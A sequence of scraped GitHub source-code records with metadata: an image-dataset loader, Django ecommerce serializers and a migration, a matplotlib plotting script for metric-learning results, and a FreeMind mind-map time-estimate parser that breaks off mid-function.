dict(zip(ilabels, range(len(ilabels))))\n #print(label2id)\n\n self.label2id=label2id\n id2label = dict(zip(label2id.values(), label2id.keys()))\n self.id2label = id2label\n\n n_train = 800\n n_valid = 200\n\n x_train_files=[]\n y_train = np.zeros((n_train,), dtype=np.uint8)\n x_valid_files=[]\n y_valid=np.zeros((n_valid,), dtype=np.uint8)\n #print(ilabels)\n\n for i in range(self.n_classes):\n label = id2label[i]\n ifolder = os.path.join(self.dataset_home,'train',label)\n #print(os.listdir(ifolder))\n files = [name for name in os.listdir(ifolder) if name.endswith('.jpg')]\n for f in files:\n x_train_files.append(os.path.join(ifolder,f))\n #y_train.append(labels2id[label])\n y_train[i * (n_train // self.n_classes): (i+1) * (n_train // self.n_classes)] = i\n\n ifolder = os.path.join(self.dataset_home,'val',label)\n files = [name for name in os.listdir(ifolder) if name.endswith('.jpg')]\n for f in files:\n x_valid_files.append(os.path.join(ifolder,f))\n #y_val.append(labels2id[label])\n y_valid[i * (n_valid // self.n_classes): (i+1) * (n_valid // self.n_classes)] = i\n\n\n if shuffle:\n x_train_files, y_train = self.shuffle_xy(x_train_files,y_train)\n\n if x_is_images:\n x_train = self.load_images(x_train_files)\n x_valid = self.load_images(x_valid_files)\n else:\n x_train = x_train_files\n x_valid = x_train_files\n self.x_is_images=x_is_images\n\n\n self.part['X_train']=x_train\n self.part['Y_train']=y_train\n\n self.part['X_valid']=x_valid\n self.part['Y_valid']=y_valid\n\n return x_train, y_train, x_valid, y_valid\n\n def preprocess_for_vgg(self,incoming):\n if isinstance(incoming, six.string_types):\n img = self.load_image(incoming)\n elif isinstance(incoming, imageio.core.util.Image ):\n img = Image.fromarray(incoming)\n else: #\n img=incoming\n\n #print(type(img))\n\n img_size = vgg.vgg_16.default_image_size\n\n height = img_size\n width = img_size\n\n img = self.resize_image(img,height,width)\n img = self.pil_to_nparray(img)\n if len(img.shape)==2: # greyscale or no channels then add three channels\n h=img.shape[0]\n w=img.shape[1]\n img = np.dstack([img]*3)\n\n means = np.array([[[123.68, 116.78, 103.94]]]) #shape=[1, 1, 3]\n try:\n img = img - means\n except Exception as ex:\n print('Error preprocessing ',incoming)\n print(ex)\n\n return img\n\n def preprocess_for_inception(self,incoming):\n\n img_size = inception.inception_v3.default_image_size\n\n height = img_size\n width = img_size\n\n if isinstance(incoming, six.string_types):\n img = self.load_image(incoming)\n elif isinstance(incoming, imageio.core.util.Image ):\n img = Image.fromarray(incoming)\n else: #\n img=incoming\n\n #print(type(img))\n\n img = self.resize_image(img,height,width)\n img = self.pil_to_nparray(img)\n if len(img.shape)==2: # greyscale or no channels then add three channels\n h=img.shape[0]\n w=img.shape[1]\n img = np.dstack([img]*3)\n\n img = ((img/255.0) - 0.5) * 2.0\n\n return img\n", "repo_name": "bapoczos/ScalableML", "sub_path": "tf_tutorials/Mastering-TensorFlow-1x/datasetslib/datasetslib/coco.py", "file_name": "coco.py", "file_ext": "py", "file_size_in_byte": 5326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 50, "dataset": "github-code", "pt": "71", "api": [{"api_name": "itertools.izip", "line_number": 19, "usage_type": "name"}, {"api_name": "images.ImagesDataset", "line_number": 23, "usage_type": "name"}, {"api_name": "images.ImagesDataset.__init__", "line_number": 25, "usage_type": "call"}, {"api_name": "images.ImagesDataset", "line_number": 25, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "utils.imutil.LAYOUT_NCHW", "line_number": 34, "usage_type": "attribute"}, {"api_name": "utils.imutil", "line_number": 34, "usage_type": "name"}, {"api_name": "utils.imutil.LAYOUT_NCHW", "line_number": 35, "usage_type": "attribute"}, {"api_name": "utils.imutil", "line_number": 35, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 65, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 67, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path", "line_number": 83, "usage_type": "attribute"}, {"api_name": "six.string_types", "line_number": 109, "usage_type": "attribute"}, {"api_name": "imageio.core", "line_number": 111, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 112, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 112, "usage_type": "name"}, {"api_name": "tensorflow.contrib.slim.nets.vgg.vgg_16", "line_number": 118, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.nets.vgg", "line_number": 118, "usage_type": "name"}, {"api_name": "numpy.dstack", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.contrib.slim.nets.inception.inception_v3", "line_number": 141, "usage_type": "attribute"}, {"api_name": "tensorflow.contrib.slim.nets.inception", "line_number": 141, "usage_type": "name"}, {"api_name": "six.string_types", "line_number": 146, "usage_type": "attribute"}, {"api_name": "imageio.core", "line_number": 148, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 149, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 149, "usage_type": "name"}, {"api_name": "numpy.dstack", "line_number": 160, "usage_type": "call"}]} {"seq_id": "34749806572", "text": "\"\"\"Serializers for ecommerce\"\"\"\nfrom rest_framework import serializers\n\nfrom applications.models import BootcampApplication\nfrom ecommerce.models import Order, Line, Receipt\nfrom klasses.serializers import BootcampRunSerializer, InstallmentSerializer\n\n\nclass PaymentSerializer(serializers.Serializer):\n \"\"\"\n Serializer for payment API, used to do basic validation.\n \"\"\"\n\n payment_amount = serializers.DecimalField(\n max_digits=20, decimal_places=2, min_value=0.01\n )\n application_id = serializers.IntegerField()\n\n\nclass OrderPartialSerializer(serializers.ModelSerializer):\n \"\"\"\n Serializer for Order\n \"\"\"\n\n class Meta:\n model = Order\n fields = (\"id\", \"status\", \"created_on\", \"updated_on\")\n\n\nclass ReceiptSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for receipts for a user\"\"\"\n\n class Meta:\n model = Receipt\n fields = [\"id\", \"payment_method\"]\n\n\nclass ApplicationOrderSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for orders that are part of a bootcamp application\"\"\"\n\n total_price_paid = serializers.DecimalField(decimal_places=2, max_digits=20)\n payment_method = serializers.SerializerMethodField()\n\n def get_payment_method(self, order):\n \"\"\"Get the payment method used in the last receipt for the order\"\"\"\n if order.payment_type == Order.CYBERSOURCE_TYPE:\n # There should only be one receipt for an order most of the time, but it's possible\n # there is a duplicate or a Cybersource error in one of the receipts.\n receipt = order.receipt_set.order_by(\"id\").last()\n return receipt.payment_method if receipt is not None else None\n elif order.payment_type == Order.WIRE_TRANSFER_TYPE:\n return \"Wire Transfer\"\n\n class Meta:\n model = Order\n fields = [\n \"id\",\n \"status\",\n \"total_price_paid\",\n \"created_on\",\n \"updated_on\",\n \"payment_method\",\n ]\n\n\nclass OrderSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for orders\"\"\"\n\n class Meta:\n model = Order\n fields = [\"id\", \"status\", \"application_id\", \"created_on\", \"updated_on\"]\n\n\nclass LineSerializer(serializers.ModelSerializer):\n \"\"\"\n Serializer for Line\n \"\"\"\n\n order = OrderPartialSerializer(read_only=True)\n price = serializers.DecimalField(decimal_places=2, max_digits=20)\n run_key = serializers.SerializerMethodField()\n\n def get_run_key(self, line):\n \"\"\"get run_key from bootcamp_run\"\"\"\n return line.bootcamp_run.run_key\n\n class Meta:\n model = Line\n fields = (\"order\", \"price\", \"description\", \"run_key\")\n\n\nclass CheckoutDataSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for ecommerce information for a BootcampApplication\"\"\"\n\n bootcamp_run = BootcampRunSerializer()\n total_price = serializers.DecimalField(\n max_digits=20, decimal_places=2, read_only=True, source=\"price\"\n )\n total_paid = serializers.DecimalField(\n max_digits=20, decimal_places=2, read_only=True\n )\n payments = serializers.SerializerMethodField()\n installments = serializers.SerializerMethodField()\n\n def get_payments(self, application):\n \"\"\"Serialized payments made by the user\"\"\"\n return LineSerializer(\n (\n order.line_set.first()\n for order in application.orders.all()\n if order.status == Order.FULFILLED\n ),\n many=True,\n ).data\n\n def get_installments(self, application):\n \"\"\"Installments with prices and due dates\"\"\"\n return InstallmentSerializer(\n application.bootcamp_run.installment_set.order_by(\"deadline\"), many=True\n ).data\n\n class Meta:\n model = BootcampApplication\n fields = [\n \"id\",\n \"bootcamp_run\",\n \"total_price\",\n \"total_paid\",\n \"payments\",\n \"installments\",\n ]\n", "repo_name": "mitodl/bootcamp-ecommerce", "sub_path": "ecommerce/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 4013, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "71", "api": [{"api_name": "rest_framework.serializers.Serializer", "line_number": 9, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 9, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DecimalField", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 14, "usage_type": "name"}, {"api_name": "rest_framework.serializers.IntegerField", "line_number": 17, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 17, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 20, "usage_type": "name"}, {"api_name": "ecommerce.models.Order", "line_number": 26, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 30, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 30, "usage_type": "name"}, {"api_name": "ecommerce.models.Receipt", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 38, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 38, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DecimalField", "line_number": 41, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 41, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 42, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 42, "usage_type": "name"}, {"api_name": "ecommerce.models.Order.CYBERSOURCE_TYPE", "line_number": 46, "usage_type": "attribute"}, {"api_name": "ecommerce.models.Order", "line_number": 46, "usage_type": "name"}, {"api_name": "ecommerce.models.Order.WIRE_TRANSFER_TYPE", "line_number": 51, "usage_type": "attribute"}, {"api_name": "ecommerce.models.Order", "line_number": 51, "usage_type": "name"}, {"api_name": "ecommerce.models.Order", "line_number": 55, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 66, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 66, "usage_type": "name"}, {"api_name": "ecommerce.models.Order", "line_number": 70, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 74, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 74, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DecimalField", "line_number": 80, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 80, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 81, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 81, "usage_type": "name"}, {"api_name": "ecommerce.models.Line", "line_number": 88, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 92, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 92, "usage_type": "name"}, {"api_name": "klasses.serializers.BootcampRunSerializer", "line_number": 95, "usage_type": "call"}, {"api_name": "rest_framework.serializers.DecimalField", "line_number": 96, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 96, "usage_type": "name"}, {"api_name": "rest_framework.serializers.DecimalField", "line_number": 99, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 99, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 102, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 102, "usage_type": "name"}, {"api_name": "rest_framework.serializers.SerializerMethodField", "line_number": 103, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 103, "usage_type": "name"}, {"api_name": "ecommerce.models.Order.FULFILLED", "line_number": 111, "usage_type": "attribute"}, {"api_name": "ecommerce.models.Order", "line_number": 111, "usage_type": "name"}, {"api_name": "klasses.serializers.InstallmentSerializer", "line_number": 118, "usage_type": "call"}, {"api_name": "applications.models.BootcampApplication", "line_number": 123, "usage_type": "name"}]} {"seq_id": "38712571910", "text": "import experiments\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nimport os\n\n# lookups\ndefault_split = {\n 'cub200': 2,\n 'cars196': 0,\n 'sop': 0,\n}\n\ndataset_label_lookup = {\n 'cub200': 'CUB200-2011',\n 'cars196': 'CARS196',\n 'sop': 'Online Products (SOP)'\n}\n\n# get wandb run data\nname_list, group_list, summary_list, config_list, data_list = experiments.get_wandb_data()\n\nproject_group = 'ooDML_msloss'\nlabelspace = 'arch'\ndataset = 'sop' # 'cub200'\nfilter_substrings = ['100epoch', 'vitS8Dino_bs30_c'] # 'vitS8Dino_bs30_c', 'gpu2_sop'\n\n# filter runs data - project group\nids_valid = [i for i, group in enumerate(group_list) if group == project_group]\nname_list = [name_list[i] for i in ids_valid]\ndata_list = [data_list[i] for i in ids_valid]\n\n# filter runs data - dataset\nids_valid = [i for i, d in enumerate(data_list) if d['dataset'] == dataset]\nname_list = [name_list[i] for i in ids_valid]\ndata_list = [data_list[i] for i in ids_valid]\n\n# filter runs data - substrings in name\nids_valid = [i for i, n in enumerate(name_list) if not any(map(n.__contains__, filter_substrings))]\nname_list = [name_list[i] for i in ids_valid]\ndata_list = [data_list[i] for i in ids_valid]\n\n# get labels\nlabels_list = [d[labelspace] for d in data_list]\nlabels_unique = sorted(list(set(labels_list)))\n\n# gather ooDML progressions\nrecall_seqs = {label: [] for label in labels_unique}\nsplit_seqs = {label: [] for label in labels_unique}\n\nfor data in data_list:\n label_tmp = data[labelspace]\n recall_seqs[label_tmp].append(data['r@1_max'])\n split_seqs[label_tmp].append(data['ooDML_split_id'])\n\n# sort progressions by split id\nn_x_ticks = []\nfor label in labels_unique:\n recs = recall_seqs[label]\n split_ids = split_seqs[label]\n\n # sort recall values\n recs = [x for _, x in sorted(zip(split_ids, recs))]\n\n # reassign\n recall_seqs[label] = recs\n split_seqs[label] = sorted(split_ids)\n\n n_x_ticks.append(len(recs))\nn_x_ticks = min(n_x_ticks)\n\n# cut data to n_x_ticks - to still be able to visualize experiments in progress\nfor label in labels_unique:\n recall_seqs[label] = recall_seqs[label][:n_x_ticks]\n split_seqs[label] = split_seqs[label][:n_x_ticks]\n\n# plotting\nx_label = 'split_id'\nx_ticks = list(range(1, n_x_ticks + 1)) # e.g. split ids\ncolors = ['green', 'red', 'blue', 'magenta', 'yellow', 'cyan', 'navy', 'orange', 'deeppink', 'springgreen', 'pink', 'darkkhaki']\nalphas = [1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]\n\n\n# fig, ax = plt.subplots(figsize=(5, 4))\n# for i, label in enumerate(labels_unique):\n# linestyle = 'dashed' if any(map(label.__contains__, ['resnet', 'bninception'])) else 'solid'\n# ax.plot(x_ticks, recall_seqs[label], label=f'{label}', marker='x', color=colors[i], linestyle=linestyle, alpha=alphas[i])\n#\n# leg = ax.legend(loc=\"best\", shadow=True, fancybox=True, fontsize='xx-small')\n# ax.set(xlabel=f'{x_label}', ylabel=f'{dataset} recall@1',\n# title=f'Eval ooDML [{labelspace}] [384]')\n# ax.set_xticks(x_ticks)\n# plt.axvline(x=x_ticks[default_split[dataset]]) # add default split indicator (vertical line)\n# ax.yaxis.set_major_locator(ticker.MultipleLocator(0.02))\n# ax.grid()\n\nfig, (ax1, ax2) = plt.subplots(1, 2, figsize=(10, 4))\n# absolute performance plot\nfor i, label in enumerate(labels_unique):\n linestyle = 'dashed' if any(map(label.__contains__, ['resnet', 'bninception'])) else 'solid'\n ax1.plot(x_ticks, recall_seqs[label], label=f'{label}', marker='x', color=colors[i], linestyle=linestyle, alpha=alphas[i])\n\nleg = ax1.legend(loc=\"best\", shadow=True, fancybox=True, fontsize='xx-small')\nax1.set(xlabel=f'{x_label}', ylabel=f'{dataset_label_lookup[dataset]} recall@1',\n title=f'Absolute recall performance [{labelspace}] [384]')\nax1.set_xticks(x_ticks)\nplt.axvline(x=x_ticks[default_split[dataset]]) # add default split indicator (vertical line)\nax1.yaxis.set_major_locator(ticker.MultipleLocator(0.02))\nax1.grid()\n\n# relative performance plot (reference value: performance for split 1)\nfor i, label in enumerate(labels_unique):\n linestyle = 'dashed' if any(map(label.__contains__, ['resnet', 'bninception'])) else 'solid'\n ax2.plot(x_ticks, [recall_seqs[label][0] - v for v in recall_seqs[label]], label=f'{label}', marker='x', color=colors[i], linestyle=linestyle, alpha=alphas[i])\n\nleg = ax2.legend(loc=\"best\", shadow=True, fancybox=True, fontsize='xx-small')\nax2.set(xlabel=f'{x_label}', ylabel=f'{dataset_label_lookup[dataset]} recall@1 difference',\n title=f'Relative recall performance w.r.t. split 1 [{labelspace}] [384]')\nax2.set_xticks(x_ticks)\nplt.axvline(x=x_ticks[default_split[dataset]]) # add default split indicator (vertical line)\nax2.yaxis.set_major_locator(ticker.MultipleLocator(0.02))\nax2.grid()\n\n# save plot\ncustomstring = f'msloss_dino60_abs_rel'\npath_save = f'/export/home/tmilbich/PycharmProjects/dml_pl/experiments/plots/ooDML/eval_{labelspace}_{dataset}'\npath_save = \"_\".join([path_save, customstring])\nfig.savefig(path_save + '.png', dpi=600) # .svg'\n\nplt.show()\n\n\n", "repo_name": "timomilbich/dml_pl", "sub_path": "experiments/eval_architecture_ooDML.py", "file_name": "eval_architecture_ooDML.py", "file_ext": "py", "file_size_in_byte": 5056, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "experiments.get_wandb_data", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "matplotlib.ticker.MultipleLocator", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.ticker", "line_number": 121, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}]} {"seq_id": "71856759271", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('fieldsight', '0002_auto_20161108_0034'),\n ('logger', '0005_remove_xform_site'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='FieldSightXF',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('is_staged', models.BooleanField(default=False)),\n ('is_scheduled', models.BooleanField(default=False)),\n ('date_created', models.DateTimeField(auto_now=True)),\n ('date_modified', models.DateTimeField(auto_now=True)),\n ],\n options={\n 'ordering': ('date_modified',),\n 'db_table': 'fieldsight_forms_data',\n 'verbose_name': 'XForm',\n 'verbose_name_plural': 'XForms',\n },\n ),\n migrations.CreateModel(\n name='Schedule',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=256, verbose_name=b'Schedule Name')),\n ('date_range_start', models.DateField(auto_now=True)),\n ('date_range_end', models.DateField(auto_now=True)),\n ],\n options={\n 'ordering': ('date_range_start',),\n 'db_table': 'fieldsight_forms_schedule',\n 'verbose_name': 'Form Schedule',\n 'verbose_name_plural': 'Form Schedules',\n },\n ),\n migrations.CreateModel(\n name='Stage',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=256)),\n ('order', models.IntegerField(default=0)),\n ('stage', models.ForeignKey(related_name='parent', blank=True, to='fsforms.Stage', null=True)),\n ],\n options={\n 'ordering': ('order',),\n 'db_table': 'fieldsight_forms_stage',\n 'verbose_name': 'FieldSight Form Stage',\n 'verbose_name_plural': 'FieldSight Form Stages',\n },\n ),\n migrations.AddField(\n model_name='fieldsightxf',\n name='schedule',\n field=models.ForeignKey(blank=True, to='fsforms.Schedule', null=True),\n ),\n migrations.AddField(\n model_name='fieldsightxf',\n name='site',\n field=models.ManyToManyField(related_name='site_forms', to='fieldsight.Site'),\n ),\n migrations.AddField(\n model_name='fieldsightxf',\n name='stage',\n field=models.ForeignKey(blank=True, to='fsforms.Stage', null=True),\n ),\n migrations.AddField(\n model_name='fieldsightxf',\n name='xf',\n field=models.ForeignKey(to='logger.XForm'),\n ),\n ]\n", "repo_name": "awemulya/kobo-predict", "sub_path": "onadata/apps/fsforms/migrations/0001_initial.py", "file_name": "0001_initial.py", "file_ext": "py", "file_size_in_byte": 3171, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 45, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 20, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 20, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 21, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 21, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.migrations.CreateModel", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 46, "usage_type": "name"}, {"api_name": "django.db.models.AutoField", "line_number": 49, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 49, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 50, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 50, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 51, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 51, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 52, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 52, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 61, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 61, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 64, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 64, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 66, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 66, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 69, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 69, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 71, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 71, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 74, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 74, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 76, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 76, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 79, "usage_type": "name"}]} {"seq_id": "73609371749", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport re\nimport sys\nimport xml.etree.ElementTree as ElementTree\nfrom pathlib import Path\n\nFREE_MIND_NODE_TAG = 'node'\nFREE_MIND_NODE_TEXT_ATTRIBUTE_TAG = 'TEXT'\n\ntime_re = re.compile(r'.+(\\s+\\(.*\\))')\ntime_number_re = re.compile(r'.*\\((\\d+[.,]?\\d?).*\\)')\n\n\nclass NodeInfo:\n def __init__(self, text=\"\"):\n self.text = text\n self.childs: [NodeInfo] = []\n self.time = None\n self.child_time = None\n\n def append_child(self, child):\n self.childs.append(child)\n\n def has_childs(self):\n return len(self.childs) > 0\n\n def update_time(self):\n\n if not self.has_childs():\n self.child_time = self.time\n return\n\n for child in self.childs:\n child.update_time()\n\n child_time = child.time if child.child_time is None else child.child_time\n\n if child_time is None:\n continue\n\n self.child_time = child_time if self.child_time is None else self.child_time + child_time\n\n def get_display_time(self):\n if self.time is None:\n return \"\" if self.child_time is None else str(self.child_time)\n\n if self.child_time is None:\n return \"\" if self.time is None else str(self.time)\n\n if self.time == self.child_time:\n return str(self.time)\n\n return f\"{self.time} ?? {self.child_time}\"\n\n def get_time(self):\n if self.time is None:\n return 0 if self.child_time is None else self.child_time\n\n if self.child_time is None:\n return 0 if self.time is None else self.time\n\n if self.time == self.child_time:\n return self.time\n\n return max(self.time, self.child_time)\n\n\ndef append_nodes(xml_parent_node, parent_node_info: NodeInfo):\n for child in xml_parent_node:\n if child.tag != FREE_MIND_NODE_TAG:\n continue\n\n if FREE_MIND_NODE_TEXT_ATTRIBUTE_TAG in child.attrib:\n node = NodeInfo(child.attrib[FREE_MIND_NODE_TEXT_ATTRIBUTE_TAG])\n\n time_match = time_re.match(node.text)\n\n if time_match is not None:\n time = time_match[1]\n node.text = node.text.replace(time, \"\")\n time_number_match = time_number_re.match(time)\n\n if time_number_match is not None:\n node.time = float(time_number_match[1].replace(\",\", \".\"))\n\n parent_node_info.append_child(node)\n append_nodes(child, node)\n\n\ndef get_nodes_information(path: Path):\n tree = ElementTree.parse(path)\n root = tree.getroot()\n root_node_info = NodeInfo()\n\n for child in root:\n if child.tag != FREE_MIND_NODE_TAG:\n continue\n\n append_nodes(child, root_node_info)\n\n return root_node_info\n\n\ndef write_to_file_csv(outfile, node_info: NodeInfo, intend: str or None, number: str or None):\n if intend is None:\n node_intend = \"\"\n intend = \"\"\n else:\n node_intend = intend\n intend += \" \"\n\n node_time = node_info.get_display_time().replace('.', ',')\n node_number = \"\" if not number else f\"{number}.\"\n node_text = \"Итого;\" if not node_info.text else f\"{node_info.text};\"\n line = f\"{node_intend}{node_number};{node_text}{node_time}\"\n\n if line:\n outfile.write(line)\n outfile.write(\"\\n\")\n\n child_number = 1\n for child in node_info.childs:\n write_to_file_csv(outfile, child, intend, f\"{node_number}{child_number}\")\n child_number += 1\n\n\ndef write_to_file_skype_format(outfile, node_info: NodeInfo, intend: str or None, number: str or None, write_start: bool):\n if write_start:\n outfile.write(\"```\\n\")\n\n if intend is None:\n node_intend = \"\"\n intend = \"\"\n else:\n node_intend = intend\n intend += \" \"\n\n node_time = node_info.get_display_time().replace(',', '.')\n node_time = node_time if not node_time else f\" ({node_time} ч)\"\n node_number = \"\" if not number else f\"{number}.\"\n node_text = \"Итого:\" if not 